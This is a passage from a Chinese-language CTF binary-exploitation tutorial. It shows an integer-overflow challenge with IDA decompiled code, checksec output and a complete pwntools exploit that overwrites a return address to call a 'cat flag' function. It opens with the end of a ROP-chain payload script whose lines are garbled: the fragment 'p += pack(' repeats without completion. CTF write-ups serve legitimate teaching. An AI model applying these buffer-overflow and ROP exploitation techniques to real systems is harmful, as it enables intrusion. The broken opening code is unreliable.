\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\treturn p

padding = 'a'*0x400
payload = padding + "junkjunk" + ropchanin()
p.sendafter("Any last words?\\n",payload)
p.interactive()
/<code>

程序八 :整型溢出

  • IDA靜態分析
<code>int __cdecl main()
{
int v1; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
login();
}
else

{
if ( v1 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

int login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check(&buf);
}

char *__cdecl check(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小為8位1個字節

v3 = strlen(s);\t\t //控制s為259 ==> 0x104 ==> v3=4 (v3只取s長度的最低位)
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);\t\t//通過s覆蓋dest ---> 覆蓋返回值地址
}
return result;
}/<code>

查看保護機制

<code>➜  login checksec login     
[*] '/mnt/hgfs/ctf_debug/stack/login/login'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)/<code>
  • 可構造rop鏈
  • 但是轉而發現程序中提供了更簡單的cat flag 函數
<code>int sub_804868B()
{
return system("cat flag");
}

.text:0804868B sub_804868B proc near
.text:0804868B ; __unwind {
.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, 0Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 10h
.text:080486A1 nop
.text:080486A2 leave
.text:080486A3 retn
.text:080486A3 ; } // starts at 804868B/<code>

設置斷點

<code>.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0 call _strlen
.text:080486B5 add esp, 10h
.text:080486B8 mov [ebp+var_9], al\t\t==>設置斷點
.text:080486BB cmp [ebp+var_9], 3/<code>

攻擊腳本

<code>from pwn import *  

context.arch='i386'
context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
debug =True
else:
debug=False

if debug:
p=process("./login")
elf =ELF("./login")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
p=remote("Xxx.xxx.xxx.xx",xxx)
elf =ELF("./login")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def login(username,passwd):
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:\\n",username)
p.sendlineafter("Please input your passwd:\\n",passwd)
def debugf():
gdb.attach(p,"b * 0x80486B8")

debugf()
cat_flag = 0x804868B
offset = 0x100+0x4
payload = 'a'*0x14 + 'junk' + p32(cat_flag)
payload = payload.ljust(offset,"a")
login("chandler",payload)
print p.recvall()/<code>

這篇文章有點長啊,能看到這兒,知了姐先給你點個贊!希望大家都能堅持學習,為夢想前進!


分享到:


相關文章: